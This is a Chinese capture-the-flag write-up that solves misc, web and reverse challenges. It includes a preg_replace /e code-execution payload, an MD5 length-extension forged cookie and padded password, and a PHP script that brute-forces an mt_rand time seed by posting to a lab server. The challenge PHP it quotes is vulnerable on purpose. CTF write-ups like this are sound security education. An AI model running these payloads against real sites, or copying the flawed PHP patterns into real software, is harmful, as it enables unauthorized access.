5.2小组赛WriteUp

题目地址

Misc

zip ??

题目带了个??,猜测是伪加密。用ue打开zip。

1-1
将09部分改为00,成功解压。
flag:congr4tul4tion_thi3_13_fl4g

base的n次方

1
2
3
4
5
6
7
8
9
10
11
12
a = "flag{}"
for i in range (1,30):
b = random.randint(1 , 3)
if b ==1:
a= base64.b16encode(a)
elif b==2:
a= base64.b64encode(a)
else:
a= base64.b32encode(a)
s= open("flagencode.txt","w")
s.write(a)
print "done!!!"

base64、32、16是随机的,加密了30次,python脚本用try处理报错。

1
2
3
4
5
6
7
8
9
10
11
12
13
import base64
a=''
s= open("flagencode.txt")
a=s.read()
for i in range (1,30):
try:
a=base64.b16decode(a)
except:
try:
a=base64.b32decode(a)
except:
a=base64.b64decode(a)
print(a)

flag:B43e_i3_s0_e43y_hiahiahia

shark

下载pcapng文件,打开,发现http头有一个flag.zip。

提取文件,zip文件被加密了。再去查看http头。
3-1
http头中有:Authorization: Basic ZmxhZzphenVsY3JlbWE=,base64解密flag:azulcrema,用他解压zip。
flag:HTTP_BASIC_AUTH_IS_EASY

Web

Preg

代码审计。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
require_once("flag.php");
if(!$passwd)
{
$passwd=$_POST["passwd"];
}
if(!$lockedtxt)
{
$lockedtxt=$_POST["lockedtxt"];
}
function flag($var)
{
echo $var;
}
if($key)
{
$unlockedtxt=preg_replace($passwd,$key,$lockedtxt);
}
if($unlockedtxt===$flag)
{
flag("The Correct: ");
flag($flag);
}
show_source("index.php");
// key=flag(\\1)
?>

搜索preg_replace()漏洞,发现了:http://www.jb51.net/article/38714.htm
可以利用函数及修饰符/e执行代码。

最后一行给出key=flag(\\1),\\1为逆向引用,也就是引用第一个括号的内容,我们要想利用/e执行代码,就要执行flag($flag)来输出。也就是说要让正则括号内容匹配到$flag

正则表达式+在线正则表达式工具终于匹配到了$flag。

payload:post:passwd=/1(.*)/e&lockedtxt=1$flag

flag:pr3g_5wlp8q_Repl4c3

Hash

tip:Hash长度扩展攻击。

先看php代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
$flag = "xxxxxxxx";
$secret = "xxxxxxxxxxxxxxxxxxxxxxxxx"; // This secret is 15 characters long for security!
$username = $_POST["username"];
$password = $_POST["password"];
if (!empty($_COOKIE["getmein"])) {
if (urldecode($username) === "admin" && urldecode($password) != "admin") {
if ($_COOKIE["getmein"] == md5($secret . urldecode($username . $password))) {
echo "Congratulations! You are a registered user.\n";
die ("The flag is ". $flag);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("You are not an admin! LEAVE.");
}
}
setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));
echo "<h1>hello ctfer!<h1>";
?>

发现加密之后的string放在了cookie中,抓包Cookie: sample-hash=be7413992c7e8541aa530688ddbbcc00

我们不知道secret的值,只知道secret+'adminadmin'的md5值,且password不等于admin,判断条件是$_COOKIE["getmein"] == md5($secret . urldecode($username . $password)),我们需要调整password字符串,并求出对应的md5值,对应的方法就是
MD5长度扩展攻击
从网上找了一个脚本hash_attack.py

扩展字符串,将得到的MD5用cookie的方式传入
web2
payload:

1
2
Cookie: getmein=1decc2f82822aeb76decabbe3f864de1
post:username=admin&password=admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c8%00%00%00%00%00%00%00windylh

flag:H4sh_L3ngth_3xt3nsi0n_4tt4cks

Coding

tips:.git 文件泄露

.git是用git会自己产生的文件,对站点自动部署。

参考:GitHack:一个git泄露利用脚本

github获取GitHack,成功获取index.php的源代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
error_reporting(0);
include "flag.php";
$admin_user = "pr0_adm1n";
$admin_pw = clean_hash("0e408306536730731920197920342119");
function clean_hash($hash)
{
return preg_replace("/[^0-9a-f]/","",$hash);
}
function myhash($str)
{
return clean_hash(md5(md5($str) . "SALT"));
}
function create_password($pw_length = 10)
{
$randpwd = "";
for ($i = 0; $i < $pw_length; $i++)
{
$randpwd .= chr(mt_rand(33, 126));
}
return $randpwd;
}
mt_srand(time());#设置了随机数的时间种子。
$pwd=create_password();
$logged_in = false;
if(isset($_POST['user']) && isset($_POST['password']))
{
if($_POST['user'] == $admin_user)
{
if(myhash($_POST['password']) == $admin_pw)//只要让md5(md5($str) . "SALT")的开头为0e
{
if($pwd==$_POST['pwd'])
{
$logged_in = true;
}
}
else
{
echo 'try harder ;)';
}
}
else
{
echo 'try harder ;)';
}
}
if($logged_in)
{
echo "<p>$FLAG</p>";
}
?>

首先考察的是php==的弱类型比较。之后就是爆破随机数部分了。

参考资料:用时间做种子生成随机数

看到了mt_srand(time());利用了时间戳作为mt_rand()生成随机数的种子,那我们可以利用这个时间戳进行爆破。
本来打算用python实现,但是不知道mt_srand()的算法,只能再用php了。
md5部分:

1
2
3
4
5
6
7
password=''
for i in range(60000000,70000000):
password=str(i)
string=hashlib.md5((hashlib.md5(password)).hexdigest()+'SALT').hexdigest()
if string[0:2]=='0e':
print password,string
break;

得到:60000767 0e681df3aca6388827ada4f30e5a2e7f
爆破随机数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
$user="pr0_adm1n";
$password="62778807";
function create_password($pw_length = 10)
{
$randpwd = "";
for ($i = 0; $i < $pw_length; $i++)
{
$randpwd .= chr(mt_rand(33, 126));
}
return $randpwd;
}
function send_post($url, $post_data)
{
$postdata = http_build_query($post_data);
$options = array
( 'http' => array
(
'method' => 'POST',
'header' => 'Content-type:application/x-www-form-urlencoded',
'content' => $postdata,
'timeout' => 15 * 60 // 超时时间(单位 :s)
)
);
$context = stream_context_create($options);
$result = file_get_contents($url, false, $context)."\n";
return $result;
}
for($j=time()-20;$j<time()+20;$j++)
{
mt_srand($j);
$pwd=create_password();
echo "pwd ".$pwd."\n";
echo "user " .$user."\n";
echo "password ".$password."\n";
$post_data = array(
'user' => $user,
'password' => $password,
'pwd'=>$pwd );
$content=send_post('http://192.168.139.241:8080/coding/',$post_data);
if(strpos($content,'SKCTF')>-1)
{
echo $content;
}
}

flag:coding_is_fun

Getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
if(isset($_GET) && !empty($_GET)){
$url = $_GET['file'];
$path = "upload/".$_GET['path'];
}else{
show_source(__FILE__);
exit();
}
if(strpos($path,'..') > -1){
die('SYCwaf!');
}
if(strpos($url,'http://127.0.0.1/') === 0){
file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed!)";
}else{
echo "Hello.Geeker";
}
?>

Sql1

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<?php
include("config.php");
mysql_query("set names utf8");
function randStr($lenth=32){
$strBase = "1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm";
$str = "";
while($lenth>0){
$str.=substr($strBase,rand(0,strlen($strBase)-1),1);
$lenth --;
}
return $str;
}
if($install){
$sql = "create table `user` (
`id` int(10) unsigned NOT NULL PRIMARY KEY AUTO_INCREMENT ,
`username` varchar(30) NOT NULL,
`passwd` varchar(32) NOT NULL,
`role` varchar(30) NOT NULL
)ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci ";
if(mysql_query($sql)){
$sql = "insert into `user`(`username`,`passwd`,`role`) values ('admin','".md5(randStr())."','admin')";
mysql_query($sql);
}
}
function filter($str){
$filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i";
if(preg_match($filter,$str)){
die("you can't input this illegal char!");
}
return $str;
}
function show($username){
global $conn;
$sql = "select role from `user` where username ='".$username."'";
$res = mysql_query($sql);
if($res){
echo "$username is ....";
}else{
die("Don't have this user!");
}
}
function login($username,$passwd){
global $flag;
$username = trim(strtolower($username));
$passwd = trim(strtolower($passwd));
if($username == 'admin'){
die("you can't login this as admin!");
}
$sql = "select * from `user` where username='".mysql_escape_string($username)."' and passwd='".mysql_escape_string($passwd)."'";
$res = mysql_query($sql);
if($res){
exit($flag);
}else{
echo "sorry,username or passwd error!";
}
}
function source(){
highlight_file(__FILE__);
}
$username = isset($_POST['username'])?filter($_POST['username']):"";
$passwd = isset($_POST['passwd'])?filter($_POST['passwd']):"";
$action = isset($_GET['action'])?filter($_GET['action']):"source";
switch($action){
case "source": source(); break ;
case "login" : login($username,$passwd);break;
case "show" : show($username);break;
}

利用show函数查询password的每一位。

Reverse

多试几次

惯例先反编译main()函数
re1-1
发现输出了一次flag{},感觉事情并没有那么简单,在最后发现了eee()函数。
re1-2

a的字符串是SDUST,按照代码写脚本。

1
2
3
4
5
a='SDUST'
b=''
for c in a:
b=b+chr(ord(c)^32)
print b

flag:sdust